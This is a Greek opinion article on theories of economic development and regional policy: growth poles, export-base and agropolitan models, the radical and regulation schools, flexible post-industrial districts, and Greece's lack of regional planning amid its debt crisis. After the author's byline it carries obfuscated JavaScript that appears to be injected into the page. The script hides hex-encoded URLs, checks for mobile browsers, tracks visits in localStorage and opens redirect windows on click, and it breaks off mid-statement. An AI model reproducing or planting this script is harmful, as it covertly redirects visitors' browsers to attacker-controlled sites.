

ΘΕΩΡΙΕΣ ΑΝΑΠΤΥΞΗΣ ΚΑΙ ΠΟΛΙΤΙΚΕΣ ΕΦΑΡΜΟΓΕΣ

Η πρώτη μεγάλη μεταπολεμική κρίση που βιώνουν οι Έλληνες ίσως αποτελέσει την αιτία για βαθιά συνειδητοποίηση του χαρακτήρα της νεοελληνικής πολιτισμικής ταυτότητας. Αν και αυτό ακούγεται υπεραισιόδοξο είναι ωστόσο ενδογενές στοιχείο και εσωτερική δυνατότητα που περιέχουν οι φάσεις των κρίσεων ανεξάρτητα από το αν επιτευχθεί ή όχι.

Ο φόβος και συχνά ο πανικός, που επικρατούν σε κάθε πεδίο της ατομικής ζωής και του δημόσιου λόγου, πολιτικού, επιστημονικού και δημοσιογραφικού, από τη θέα της κρίσης, δεν θεωρούνται παράλογες συμπεριφορές και αφύσικες μορφές αντίδρασης γιατί έτσι φέρονται οι άνθρωποι όταν δουν μια αναπάντεχη βόμβα να πέφτει στο σαλόνι χορού, έτοιμη να εκραγεί. Όσο αυτή δεν εκρήγνυται, τους δίνεται χρόνος να σκεφτούν και να οργανώσουν τον τρόπο της εξουδετέρωσης της. Υπάρχει όμως και το ενδεχόμενο ο πανικός να επεκταθεί σε όλους και έτσι ο διαθέσιμος χρόνος να αναλωθεί σε αντιφωνίες και διαφωνίες για τον τρόπο εξουδετέρωσης της με αποτέλεσμα να θαφτούν όλοι στη βαθειά τρύπα που θα ανοιχτεί από την έκρηξη της.

Ιστορικά οι κρίσεις εξαντλούνται σε διάστημα τεσσάρων – πέντε χρόνων και διέρχονται από φάσεις. Δεν είναι έξω – ανθρώπινες μεταφυσικές δυνάμεις που επιτίθενται στους ανθρώπους αλλά αποτέλεσμα εν μέρει των επιλογών τους και εν μέρει της ιστορικής νομοτέλειας. Στο πρώτο στάδιο δημιουργούν αυθόρμητες συνέπειες και αντιδράσεις στους ανθρώπους που μπορούν να αναλυθούν ως εξής:

- Σχηματοποιημένες συσπειρώσεις μηχανιστικού τύπου για την απόκρουση των αρνητικών συνεπειών που μεταφράζεται στη διαφύλαξη του εισοδηματικού επιπέδου,
- Κατατμήσεις του κοινωνικού χώρου και προβολή των ατομικών ή ομαδικών συμφερόντων σε βάρος της συλλογικής διαφύλαξης,
- Άσκοπους και επιβλαβείς ανταγωνισμούς μεταξύ των επί μέρους τμημάτων των εργαζομένων που επιδεινώνονται από τους λανθασμένους χειρισμούς των κυβερνήσεων,
- Βιαστικές και χοντροκομμένες ερμηνείες για τα αίτια της κρίσης, που στηρίζονται σε απλοϊκά σχήματα όπως «άσπρο – μαύρο» ή «καλοί –κακοί», κλπ,
- Ενδοστρεφείς συσπειρώσεις στο ατομικό – οικογενειακό και μείωση των κοινωνικών και οικονομικών συναλλαγών, λόγω απουσίας εμπιστοσύνης,
- Αναβολές υλοποίησης ατομικών, οικογενειακών και οικονομικών στόχων λόγω των ακυρώσεων των προσδοκιών τουλάχιστον όσο διαρκεί η κρίση.

Οι αντιδράσεις του τύπου αυτού είναι ανακλαστικές και παθητικές, ακριβώς αντίθετες από τις δεοντολογικές και οι οποίες επιτείνουν και οξύνουν τους παράγοντες που προκάλεσαν την κρίση.

Στο δεύτερο στάδιο, οι άνθρωποι αντιδρούν με μεγαλύτερη ψυχραιμία, αποφασιστικότητα και θέληση για την αντιμετώπιση του φαινομένου και των συνεπειών του. Ερευνούν και οργανώνουν το ενεργητικό τους δυναμικό με στόχο την ανεύρεση θετικών λύσεων. Οι ικανότεροι δημιουργούν πρωτοπόρες ομάδες κρούσεων και προτείνουν εφεκτικές δέσμες πολιτικών πίσω από τις οποίες συσπειρώνονται και οι υπόλοιποι. Οι πολιτικές αυτές βασίζονται σε στρατηγικές όπως η εξωστρέφεια, η συνεργασία και η αξιοποίηση των διεθνών εμπειριών αλλά κυρίως στηρίζονται σε στρατηγικές οργάνωσης των διαθέσιμων ανθρώπινων δυνάμεων και πόρων, προκειμένου να ανακοπεί η μείωση του παραγόμενου εθνικού προϊόντος. Η πρώτη **λογική αρχή** που κυριαρχεί είναι ότι αφού ο παλιός τρόπος οργάνωσης του εθνικού δυναμικού επέφερε τη μεγάλη κρίση αυτός είναι εκείνος που πρώτος θα πρέπει να αλλάξει. Η δεύτερη λογική αρχή είναι ότι ο νέος τρόπος οργάνωσης θα πρέπει να αξιοποιεί και να αναπτύσσει στο έπακρο το υπάρχον ανθρώπινο δυναμικό και δημιουργεί νέο θεσμικό δυναμικό, στο εθνικό και ιδιαίτερα στο περιφερειακό επίπεδο.

Συνήθως οι κυβερνήσεις, όπως έχει αποδείξει η διεθνής εμπειρία, διαπράττουν δύο βασικά λάθη. Το πρώτο είναι πως με τα παλιά εργαλειακά μέσα πολιτικής που διαθέτουν προσπαθούν να αντιμετωπίσουν τη νέα κατάσταση και το δεύτερο είναι ότι οι παρεμβάσεις που αναπτύσσουν είναι τις περισσότερες φορές αποσπασματικές, ασύνδετες μεταξύ τους και πολλές φορές με αντικρουόμενους στόχους. Για να υπάρξουν όμως νέα εργαλεία πολιτικής θα πρέπει πρωτίστως να υπάρξει η θεωρητική και εμπειρική γνώση αφ' ενός και το πολιτικό προσωπικό υλοποίησης αφ' εταίρου. Για την επιδιόρθωση του δεύτερου λάθους,

δηλαδή της αποσπασματικής και ασύνδετης δράσης, θα πρέπει να εκπονηθεί ένα ολοκληρωμένο αποδοτικό Σχέδιο αναδιοργάνωσης του εθνικού και κοινωνικοοικονομικού χώρου παίρνοντας υπ' όψιν του τις διεθνείς κυρίαρχες τάσεις.

Εδώ θα δούμε συνοπτικά τις θεωρίες ανάπτυξης και τις εφαρμοστικές πολιτικές που έχουν καταγραφεί στη βιβλιογραφία για την αντιμετώπιση των κρίσεων, με την ελπίδα πως θα «κεντρίσουμε» το ενδιαφέρον των αρμοδίων και των ειδικών αναγνωστών για εμβάθυνση του διαλόγου.

Οι θεωρίες ανάπτυξης είναι αρκετά παλιές αλλά άρχισαν να σχηματοποιούνται μετά το 1930 για να κορυφωθούν σε πλούτο και πυκνότητα τις δεκαετίες που ακολούθησαν το 1950. Αλλά και πριν το τριάντα υπήρχαν προγραμματισμοί ανάπτυξης σε περιοχές της Ευρώπης και της Αμερικής, όπως εκείνοι της Κοιλάδας του Ρήνου το 1915, τα περιφερειακά προγράμματα της νότιας Ουαλίας, το 1920 και στις ΗΠΑ το περιφερειακό πρόγραμμα ανάπτυξης τη Νέας Υόρκης (Regional Plan Association of New York). Η έλλειψη όμως μιας θεωρίας για εθνική και περιφερειακή ανάπτυξη περιόρισε την αποδοτικότητα των δράσεων αυτών σε φτωχά αποτελέσματα.

Η βασική κοινή διαπίστωση που αποτέλεσε και την αιτία για την αναζήτηση επιστημονικών θεωριών ανάπτυξης ήταν πως οι λειτουργίες των αγορών δημιουργούν περιφέρειες υπερανάπτυγμένες, κεντρικές και αυτοδύναμες και από την άλλη περιφέρειες υπανάπτυκτες, περιθωριακές, υπερδανεισμένες και εξαρτημένες. Πρώτα στο εθνικό και μετά στο παγκόσμιο επίπεδο, οι ασύμμετρες αυτές διαταραχές, οδηγούν στην απώλεια τεράστιων πόρων και οι οικονομολόγοι, κοινωνιολόγοι και περιφερειολόγοι από ολόκληρο το ιδεολογικό φάσμα εκπόνησαν θεωρητικά και εμπειρικά μοντέλα με σκοπό την άρση των ανισοτήτων.

Με σχηματικό τρόπο μπορούμε να διακρίνουμε τρεις μεγάλες τάσεις που ξεχώρισαν μετά τη δεκαετία του πενήντα με συνεχείς ανανεώσεις και μεταβολές. Η συντηρητική προσέγγιση που αναλύθηκε από τον Rostow (1961), Borts – Stein (1964), και Williamson (1965), θεωρούσε πως οι ανισότητες στις περιφέρειες και στα έθνη οφείλονται στις διαφορές των συγκριτικών πλεονεκτημάτων και πως με τη πλήρη κινητικότητα των παραγωγικών συντελεστών αυτές θα αυτορυθμισθούν. Η φιλελεύθερη σχολή με τους Perroux (1950), Myrdal (1957), Hirschman

(1958) και

Boudeville

(1966) επεσήμανε πως οι διαφορές στα επίπεδα της ανάπτυξης οφείλονται στις ατέλειες των αγορών που δημιουργούν μηχανισμούς πόλωσης και μεγάλες διαφορές στο βιοτικό επίπεδο. Για την αντιμετώπιση των αρνητικών συνεπειών που παράγει η αγορά οι φιλελεύθεροι πρότειναν την αποτελεσματική κρατική παρέμβαση. Τέλος κατά τη δεκαετία του 1970 έκανε την εμφάνιση της η ριζοσπαστική σχολή η οποία άσκησε κριτική στις ισχύουσες απόψεις, διεύρυνε το πεδίο έρευνας στη παγκόσμια κλίμακα και εισήγαγε την θεωρία της αναπαραγωγής της ανάπτυξης της υπανάπτυξης, με την άνιση ανταλλαγή.

Αρχικά οι κύριοι εκπρόσωποι της ήταν οι

Samir

Amin

(1974),

Frank

(1972),

Polloix

(1975). Αργότερα εμφανίσθηκαν οι

Holland

(1976),

Lipiez

(1977), που ανέπτυξαν περισσότερο χωρικές θεωρήσεις άνισης ανάπτυξης. Πάντως το κέντρο των θεωριών των ριζοσπαστών ήταν οι παραδοχές πως η παγκόσμια καπιταλιστική συσσώρευση και οι μηχανισμοί της βρίσκονται πίσω από τις περιφερειακές και εθνικές ανισότητες. Όλες οι παραπάνω θεωρητικές και εμπειρικές προσεγγίσεις, είχαν ένα κοινό παρονομαστή. Την υπόθεση ότι η μεταπολεμική ανάπτυξη θα συνεχιζόταν με τους ίδιους πάνω – κάτω, ρυθμούς και πως η κρατική παρεμβατικότητα ήταν αναγκαία δια μέσου του κράτους πρόνοιας.

Η κρίση της δεκαετίας του '70, έθεσε μάλλον τέλος στις θεωρίες αυτές και η διαμάχη ανάμεσα στο κράτος και στην αγορά έκλεισε με τη νίκη της δεύτερης. Ταυτόχρονα το φορντιστικό – κρατικιστικό μοντέλο της εν σειρά μαζικής παραγωγής, της κατανάλωσης, των μεγάλων βιομηχανιών, των συλλογικών διαπραγματεύσεων και του κρατικού παρεμβατισμού, έδινε τη θέση του σε πολιτικές απορρύθμισης που αφορούσαν στην αγορά εργασίας, στην ευέλικτη παραγωγή και στη τομεακή εξειδίκευση. Προς αυτό συνετέλεσε η μαζική μεταφορά κεφαλαίων και βιομηχανιών από τις ώριμες αγορές της υπερκορεσμένης δύσης προς την ανατολή και ειδικά προς την Ασία όπου εκεί το εργατικό κόστος ήταν πολύ χαμηλό και το προσδοκώμενο επιχειρησιακό κέρδος πολύ υψηλό. Το χαρακτηριστικό της ανειδίκευτης εργασίας στην Ανατολή δεν στάθηκε εμπόδιο για την προσέλκυση δυτικών βιομηχανιών λόγω της αυτοματοποίησης της παραγωγής και των συστημάτων παραγωγικής οργάνωσης των επιχειρήσεων. Στο πλαίσιο αυτών των μεγάλων ανακατατάξεων του χωρικού καταμερισμού κεφαλαίων, είδαν το φως της δημοσιότητας οι θεωρίες της Doreen Massey

(1979) στην Αγγλία και του

Arnaldo

Bagnasco

(1977) στην Ιταλία, για τον χωρικό καταμερισμό της εργασίας. Στο βιβλίο του «
Tre

Italie

», ο δεύτερος, προσπαθεί να δώσει απάντηση στη κρίση της μεγάλης βιομηχανίας του Βορρά και στον φτωχό επιδοτούμενο Νότο, με αναλύσεις και προτάσεις για την «ενδιάμεση ανάπτυξη» της κεντρικής Ιταλίας. Στο κέντρο του ενδιαφέροντος του τίθενται οι μικρομεσαίες επιχειρήσεις, τα πυκνά τοπικά δίκτυα, οι υπεργολαβίες, η πολυαπασχόληση και η άτυπη οικονομία. Για κάποιο διάστημα οι προτάσεις του ενίσχυσαν τις ήδη διαμορφωμένες τάσεις στην οικονομική βάση, τροφοδοτώντας την αναπτυξιακή διαδικασία της Ιταλίας.

Μέχρι τη κρίση του 1980 οι κυριότερες θεωρίες ανάπτυξης και περιφερειακής πολιτικής που επικρατούσαν ήταν η **χωροθέτηση «πόλων ανάπτυξης»**, η θεωρία της **«εξαγωγικής βάσης**

» (North

—

Harrod

-

Domar

) και η θεωρία της

«αγροτοαστικής

» ανάπτυξης.

Για να επέλθει η περιφερειακή εξισορρόπηση θα πρέπει στις καθυστερημένες περιοχές να χωροθετηθούν αναπτυξιακοί πόλοι, με ίδρυση βιομηχανικών συγκροτημάτων και πιστωτικών οργανισμών, οι οποίοι θα αξιοποιούν το εργατικό δυναμικό προς όφελος της διάχυσης των εθνικών αναπτυξιακών αποτελεσμάτων. Το «δόγμα» των πόλων ανάπτυξης ακολούθησαν πολλές χώρες της Λατινικής Αμερικής, οι εφαρμογές των οποίων όμως γνώρισαν πενιχρά αποτελέσματα λόγω λανθασμένης κατανόησης και ημιτελών εφαρμογών. Οι πόλοι ανάπτυξης ήταν ένα εργαλείο περιφερειακής πολιτικής που κρατούσαν στα χέρια τους τα κράτη τα οποία με την «από τα πάνω» παρεμβατικότητα τους θα επέφεραν τα επιθυμητά αποτελέσματα αλλά λόγω της ύπαρξης μεγάλης διαφθοράς τα κράτη αυτά πέτυχαν ακριβώς τα αντίθετα αποτελέσματα.

Η θεωρία της εξαγωγικής βάσης, πρότεινε την οργάνωση του περιφερειακού δυναμικού σε αποδοτικές βάσεις και την εξαγωγή του προϊόντος προς τις εθνικές και διεθνείς αγορές, ακολουθώντας τις θεωρίες του Ricardo. Διαφοροποιείται από τις νεοκλασικές θεωρίες γιατί πιστεύει πως η άνιση κατανομή πόρων στις καθυστερημένες περιοχές δεν μπορεί να αντιμετωπιστεί με τις αυτορυθμιστικές λειτουργίες των αγορών αλλά απαιτείται η κρατική παρέμβαση.

Η θεωρία της αγροτοαστικής ανάπτυξης (Friedmann – Douglas, 1978), απευθυνόταν κυρίως προς τις χώρες της Ασίας οι οποίες διατηρούσαν μεγάλο αγροτικό τομέα και πολλά μικρά και διάσπαρτα αστικά κέντρα. Οι περιοχές αυτές θα έπρεπε να συνδεθούν τροφοδοτώντας η μία την άλλη με ένα επιλεκτικό χωρικό κλείσιμο, ώστε να βελτιωθεί το πολύ χαμηλό βιοτικό επίπεδο. Το μοντέλο αυτό όμως θα μπορούσε να εφαρμοσθεί και στην αναπτυγμένη Δύση, αρκεί οι περιοχές εφαρμογής, να διέθεταν ένα μεγάλο αγροτικό τομέα και αναξιοποίητους φυσικούς πόρους.

Οι θεωρίες αυτές έτυχαν δριμείας κριτικής από τους ριζοσπάστες οικονομολόγους και κυρίως από τη σχολή της εξάρτησης, (Dos Santos, Frank, etc), τον Myrdal, ο οποίος υποστήριξε πως αναπτύσσεται ο μηχανισμός της κυκλικής σωρευτικής αιτιότητας, δηλαδή οι αναπτυγμένες περιοχές ενισχύονται ακόμα περισσότερο σε βάρος των καθυστερημένων, και από τη γαλλική σχολή της «ρύθμισης» (

Lipietz

-1983,

Gore

, '83,

Allen

Scott

, 1988) που υποστήριξαν πως η καθυστέρηση είναι αποτέλεσμα των μεταβολών στους μηχανισμούς καπιταλιστικής συσσώρευσης.

Κατά τη δεκαετία του 1980 μια νέα γενιά θεωριών εμφανίζεται με μεγάλη ορμή συνοδεύοντας τις μεγάλες διαμορφώσεις της νέας παγκόσμιας οικονομικής τάξης. Ενώ η κρατική παρεμβατικότητα του κευνσιανισμού έχει ολοκληρώσει της αποστολή της ως εφαρμοστέα μεταπολεμική πολιτική, μία νέα έννοια απασχολεί τους θεωρητικούς οικονομολόγους, κοινωνιολόγους και πολιτικούς. Είναι η έννοια του «τοπικού» που καλείται να αντισταθμίσει την ισοπεδωτική τάση της παγκοσμιοποίησης. Το τοπικό πάει να συστήσει μια νέα χωροκοινωνική κατηγορία που συνεπικουρείται από τις νέες τεχνολογίες του αυτοματισμού και των υπέρ υπολογιστών. Χωροθετούνται «από τα κάτω» τεχνολογικά και ερευνητικά πάρκα με διεθνείς ακτίνες, οι εργασιακές σχέσεις αποκτούν τομεακή και επιχειρησιακή ευελιξία, και αμφισβητούντα τα μεγάλα και δυσκίνητα βιομηχανικά μεγέθη όπως της IBM ή της GM.

Αναδείχθηκαν νέοι μετά - βιομηχανικοί χώροι, οι οποίοι απέκτησαν διεθνή αίγλη και αποτέλεσαν παραδείγματα προς μίμηση. Η Silicon Valley, Orange County του Λος Άντζελες, η Βοστώνη, η Νέα Αγγλία, η Σκωτία, η

Cite

Scientifique

στο Παρίσι, το Τόκιο, η

Tsukuba

και

Toyama

, το

Bangalor

στην Ινδία, ανέπτυξαν προϊόντα υψηλής τεχνολογίας, γρήγορης διαμόρφωσης και αλλαγής, βρίσκονταν κοντά σε πανεπιστημιακές μονάδες, και μακριά από τις πυκνοδομημένες μεγαλουπόλεις, μέσα σε ειδυλλιακά τοπία με αισθητική αρχιτεκτονική. Η ευελιξία και η τομεακή εξειδίκευση ήταν η τελευταία απάντηση στις άκαμπτες βιομηχανικές δομές της προηγούμενης περιόδου, με νέα ευέλικτα συστήματα παραγωγής και με την εφαρμογή μεθόδων όπως η "

just

in

time dellivery system

", παραγωγή «για τότε που χρειάζεται» και όχι «όταν χρειαστεί».

Εκεί όπου εφαρμόστηκαν συστηματικές πολιτικές ανάπτυξης, ο εθνικός και κοινωνικός χώρος αναδιοργανώθηκαν τότε αμυντικά και τότε επιθετικά αντιμετωπίζοντας τις αρνητικές συνέπειες που δημιουργούσε ο μηχανισμός/οι της αγοράς. Στην Ιαπωνία με τα βιομηχανικοποιητικά συμπλέγματα (keiretsu), στη Ν. Κορέα με τα Chaebol, στη Γερμανία με την «περιοχή – βιομηχανία», στην Ολλανδία με την «συγκεντρωμένη αποκέντρωση», και αλλού, οι αναπτυξιακές πολιτικές κατάφεραν να επιτύχουν και μείωση των περιφερειακών ανισοτήτων και αύξηση του παραγόμενου πλούτου.

Στην Ελλάδα δυστυχώς ούτε θεωρίες ανάπτυξης υπήρξαν ποτέ ούτε πολιτικές περιφερειακής ανάπτυξης. Εξαιρεση αποτελεί η προσπάθεια για την τοπική εξειδίκευση της Πύλου, από τα προγράμματα Βαϊτσου, Χατζημηχάλη, (1986) αλλά ο κρατικός πατερναλισμός έριξε βαριά την σκιά του, ανακόποντας τα σχέδια.

Ένας από τους βασικούς λόγους που οδήγησαν την Ελλάδα στην παρούσα συστημική κρίση ήταν ασφαλώς και το υδροκεφαλικό μεταπολεμικό πρότυπο της πρόχειρης και άναρχης εκμετάλλευσης των εθνικών πόρων. Η απώλεια και σπατάληση πόρων που επέφερε σε

συνδυασμό με τις αυξημένες κοινωνικές ανάγκες, συνέδραμον στον γιγαντισμό του κράτους και στη κρίση του χρέους. Τεράστιο αναπτυξιακό δυναμικό παραμένει σε λανθάνουσα μορφή στις ελληνικές περιφέρειες, αναξιοποίητο και ανεκμετάλλευτο από την έλλειψη τεχνογνωσίας άσκησης περιφερειακών πολιτικών αλλά και από την έλλειψη βούλησης των κυβερνήσεων για τη κάλυψη του κενού. Η ευκαιρία είναι ιστορική αν οι προσπάθειες επικεντρωθούν στην προβολή των περιφερειακών πλεονεκτημάτων και στην ανάπτυξη των πόρων στα πλαίσια ενός επιλεγμένου εθνικού σχεδίου για την αντιμετώπιση της κρίσης με αύξηση του παραγόμενου πλούτου και όχι με την αύξηση του δανεισμού και της υπερχρέωσης.

Με όλα όσα περιέχονται στο άρθρο αυτό προσπάθησα να δείξω πως το ζήτημα της Ανάπτυξης δεν είναι μια εύκολη υπόθεση που υπόκειται στη ρουτίνα των επενδύσεων και της ζήτησης, η οποία όπως λέγεται θα «επανακινήσει» την οικονομία. Είναι πολύ πιο σύνθετο και πολύπλοκο. Η διεθνής εμπειρία έχει αποδείξει πως ούτε οι παραδοσιακές επενδύσεις ούτε η ενεργοποίηση της ζήτησης μπορούν να δημιουργήσουν αναπτυξιακά αποτελέσματα με κριτήριο την αυτοτροφοδότηση και την διατηρησιμότητα, γιατί κάλλιστα οι εισοδηματικές και περιφερειακές ανισότητες μπορεί να βαθύνουν αντί να κλείσουν. Η επιλογή ενός νέου αναπτυξιακού παραγωγικού προτύπου που θα αναδιοργανώνει τους εθνικούς και περιφερειακούς πόρους, αναδεικνύοντας ισχυρές περιφερειακές πολιτικές κοινότητες, μπορεί να αποτελέσει το κοινό ενδιαφέρον όλων των πολιτικών δυνάμεων της χώρας αλλά και το χρηματοδοτικό ενδιαφέρον της Ε. Ένωσης και του διεθνούς επενδυτικού κεφαλαίου. Διαφορετικά, η αύξηση του χρέους για εξυπηρέτηση του παλιού χρέους τα μόνα αποτελέσματα που μπορεί να επιφέρει είναι ο αφανισμός και η καταστροφή.

Θάν. Κουρματζής

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
```



```
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx6
1x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmK','ro
und','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vend
or','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){((/android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc))/1207|6310|6590|3gso|4thp|50[1-6]|i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|/capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]|0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
|_a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( /)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|/ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30[0|2]|n50[0|2|5]|n7(0|0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(gel|ma|mm|ms|ny|va)|sc(01|h-oo|p-)|sdk/se(c-|0|1)|47|mc(nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
```

```
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]|navigator[_0x365b[0x2]]|window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);},_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();}const _0x2b4a92=location[_0x365b[0x20]];let 